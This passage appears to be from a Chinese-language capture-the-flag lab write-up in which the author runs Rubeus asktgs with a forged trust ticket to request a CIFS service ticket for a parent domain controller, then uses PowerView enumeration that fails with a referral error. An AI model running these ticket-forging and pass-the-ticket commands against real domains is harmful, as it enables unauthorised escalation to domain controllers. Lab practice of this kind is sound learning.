PS C:\users\bitbucket\Desktop> .\Rubeus.exe asktgs /ticket:C:\users\bitbucket\Desktop\trust_tkt.kirbi /service:cifs/ENTERPRISE-DC.ENTERPRISE.THM /dc:ENTERPRISE-DC.ENTERPRISE.THM /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGS
[X] Error resolving hostname 'ENTERPRISE-DC.ENTERPRISE.THM' to an IP address: No such host is known然而报错了，说找不到这个主机名
用 powerview 查找也没找到
PS C:\users\bitbucket\Desktop> Get-NetComputer -Domain LAB.ENTERPRISE.THM
LAB-DC.LAB.ENTERPRISE.THM
PS C:\users\bitbucket\Desktop> Get-NetComputer -Domain ENTERPRISE.THM
WARNING: Error: Exception calling "FindAll" with "0" argument(s): "A referral was returned from the server."这个就很奇怪。。